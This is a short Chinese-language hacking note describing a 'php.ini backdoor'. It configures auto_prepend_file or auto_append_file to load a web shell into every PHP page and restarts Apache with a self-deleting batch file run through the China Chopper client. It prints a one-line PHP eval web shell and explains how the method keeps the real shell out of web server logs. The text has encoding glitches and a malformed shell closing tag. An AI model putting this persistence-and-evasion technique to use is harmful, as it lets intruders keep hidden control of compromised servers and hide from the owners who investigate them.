php.ini文件:
auto_prepend_file="c:/phpstudy/www/shell.php" #也可以是 gif、jpg文件等
或auto_append_file=shell1.php
include_path="c:\phpstudy\www;."
(include_path = ";." 也可以和上面一樣的效果)
(include_path = "c:\;." 也可以和上面一樣的效果)
(include_path = "d:\;." 也可以和上面一樣的效果)
(include_path = ".;c:\php\includes" 也可以和上面一樣的效果)
(include_path = ";c:\" 也可以和上面一樣的效果)
(;include_path = ".;c:\php\includes" 也可以和上面一樣的效果)
這說明php.ini另類后門與這個include_path可以無關
cmd 重啟apache服務,我的是phpstudy,所以是apache2a服務
net stop apache2a && net start apache2a
也可以編輯1.bat:
net stop apache2a && net start apache2a && del %~dp01.bat
# %~dp0 表示 '\當前路徑\' %~dp01.bat 表示 \當前路徑\1.bat
c:\1.bat 回車(假如1.bat 在c:\ 下)
在菜刀下,權限夠的情況下:等一會兒,出現Run command [1.bat] failed!
但實際上已經成功,你 dir c:\
發(fā)現c:\1.bat 沒了
也可以這樣編輯1.bat,效果一樣:
net stop apache2a
net start apache2a
del %~dp01.bat
附后門文件內容:<?php !empty($_POST['a'])?EvAL($_POST['a']):false;>?
注意:一定等出現Run command [1.bat] failed!,再關閉菜刀cmd窗口
利用php.ini的另類后門
下面這句不知對不對:
include_path = “.;c:\php\includes” 前面的 “.”代表/目錄,而”;”后面的目錄代表Automatically add files(自動添加)所有include文件的目錄
這種方法尤其值得推崇的地方是:服務器web日志中記錄的連接文件是你菜刀url中的文件地址,而不是你真正的shell 一句話地址(假如你菜刀url中鏈接的文件是在網站中隨意的有效文件,而非一句話shell文件)
因為auto_prepend_file 會在所有的php頂部加載文件
而auto_append_file 會在所有頁面底部加載文件,相當于 require shell 一句話文件